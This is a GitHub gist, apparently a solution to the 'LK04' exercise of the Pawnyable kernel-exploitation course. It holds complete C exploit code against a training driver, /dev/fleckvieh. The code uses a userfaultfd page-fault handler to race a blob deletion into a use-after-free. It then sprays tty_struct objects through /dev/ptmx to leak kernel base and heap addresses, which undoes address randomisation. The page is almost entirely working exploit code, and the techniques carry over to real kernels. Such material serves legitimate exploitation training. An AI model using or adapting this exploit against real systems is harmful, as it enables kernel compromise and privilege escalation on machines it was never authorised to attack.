Last active
January 13, 2023 09:00
-
-
Save brant-ruan/b6e17900d8b35b225e00a62962ddf04c to your computer and use it in GitHub Desktop.
Pawnyable LK04
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <assert.h> | |
#include <fcntl.h> | |
#include <linux/userfaultfd.h> | |
#include <poll.h> | |
#include <pthread.h> | |
#include <sched.h> | |
#include <signal.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <sys/syscall.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#define CMD_ADD 0xf1ec0001 | |
#define CMD_DEL 0xf1ec0002 | |
#define CMD_GET 0xf1ec0003 | |
#define CMD_SET 0xf1ec0004 | |
#define SPRAY_NUM 0x10 | |
#define ofs_tty_ops 0xc3c3c0 | |
void fatal(const char *msg) { | |
perror(msg); | |
exit(1); | |
} | |
typedef struct { | |
long id; | |
size_t size; | |
char *data; | |
} request_t; | |
int ptmx[SPRAY_NUM]; | |
cpu_set_t pwn_cpu; | |
int victim; | |
int fd; | |
char *buf; | |
unsigned long kbase, kheap; | |
int add(char *data, size_t size) { | |
request_t req = {.size = size, .data = data}; | |
int r = ioctl(fd, CMD_ADD, &req); | |
if (r == -1) | |
fatal("blob_add"); | |
return r; | |
} | |
int del(int id) { | |
request_t req = {.id = id}; | |
int r = ioctl(fd, CMD_DEL, &req); | |
if (r == -1) | |
fatal("blob_del"); | |
return r; | |
} | |
int get(int id, char *data, size_t size) { | |
request_t req = {.id = id, .size = size, .data = data}; | |
int r = ioctl(fd, CMD_GET, &req); | |
if (r == -1) | |
fatal("blob_get"); | |
return r; | |
} | |
int set(int id, char *data, size_t size) { | |
request_t req = {.id = id, .size = size, .data = data}; | |
int r = ioctl(fd, CMD_SET, &req); | |
if (r == -1) | |
fatal("blob_set"); | |
return r; | |
} | |
static void *fault_handler_thread(void *arg) { | |
static struct uffd_msg msg; | |
struct uffdio_copy copy; | |
struct pollfd pollfd; | |
long uffd; | |
static int fault_cnt = 0; | |
puts("[t][*] set cpu affinity"); | |
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu)) | |
fatal("sched_setaffinity"); | |
uffd = (long)arg; | |
puts("[t][*] waiting for page fault"); | |
pollfd.fd = uffd; | |
pollfd.events = POLLIN; | |
while (poll(&pollfd, 1, -1) > 0) { | |
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) | |
fatal("poll"); | |
if (read(uffd, &msg, sizeof(msg)) <= 0) | |
fatal("read(uffd)"); | |
assert(msg.event == UFFD_EVENT_PAGEFAULT); | |
puts("[t][+] caught page fault"); | |
switch (fault_cnt++) { | |
case 0: | |
case 1: { | |
puts("[t][*] crafting UAF"); | |
puts("[t][*] deleting victim blob"); | |
del(victim); | |
printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM); | |
for (int i = 0; i < SPRAY_NUM; i++) { | |
ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (ptmx[i] == -1) | |
fatal("/dev/ptmx"); | |
} | |
// just reuse the buf in user land | |
copy.src = (unsigned long)buf; | |
break; | |
} | |
} | |
copy.dst = (unsigned long)msg.arg.pagefault.address; | |
copy.len = 0x1000; | |
copy.mode = 0; | |
copy.copy = 0; | |
if (ioctl(uffd, UFFDIO_COPY, ©) == -1) | |
fatal("ioctl(UFFDIO_COPY)"); | |
} | |
return NULL; | |
} | |
int register_uffd(void *addr, size_t len) { | |
struct uffdio_api uffdio_api; | |
struct uffdio_register uffdio_register; | |
long uffd; | |
pthread_t th; | |
puts("[*] registering userfaultfd"); | |
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); | |
if (uffd == -1) | |
fatal("userfaultfd"); | |
uffdio_api.api = UFFD_API; | |
uffdio_api.features = 0; | |
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) | |
fatal("ioctl(UFFDIO_API)"); | |
uffdio_register.range.start = (unsigned long)addr; | |
uffdio_register.range.len = len; | |
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; | |
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) | |
fatal("UFFDIO_REGISTER"); | |
puts("[*] spawning a fault handler thread"); | |
if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd)) | |
fatal("pthread_create"); | |
return 0; | |
} | |
int main() { | |
puts("[*] set cpu affinity"); | |
CPU_ZERO(&pwn_cpu); | |
CPU_SET(0, &pwn_cpu); | |
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu)) | |
fatal("sched_setaffinity"); | |
fd = open("/dev/fleckvieh", O_RDWR); | |
if (fd == -1) | |
fatal("/dev/fleckvieh"); | |
void *page; | |
page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); | |
if (page == MAP_FAILED) | |
fatal("mmap"); | |
printf("[+] mmap two pages at 0x%llx\n", (long long unsigned int)page); | |
register_uffd(page, 0x2000); | |
buf = (char *)malloc(0x1000); | |
victim = add(buf, 0x400); | |
set(victim, "Hello", 6); | |
puts("[*] UAF#1 leak kbase"); | |
puts("[*] reading 0x20 bytes from victim blob to page#1"); | |
get(victim, page, 0x20); | |
kbase = *(unsigned long *)&((char *)page)[0x18] - ofs_tty_ops; | |
for (int i = 0; i < SPRAY_NUM; i++) | |
close(ptmx[i]); | |
puts("[*] UAF#2 leak kheap"); | |
victim = add(buf, 0x400); | |
puts("[*] reading 0x400 bytes from victim blob to page#2"); | |
get(victim, page + 0x1000, 0x400); | |
kheap = *(unsigned long *)(page + 0x1038) - 0x38; | |
for (int i = 0; i < SPRAY_NUM; i++) | |
close(ptmx[i]); | |
printf("[+] leaked kbase: 0x%lx, kheap: 0x%lx\n", kbase, kheap); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment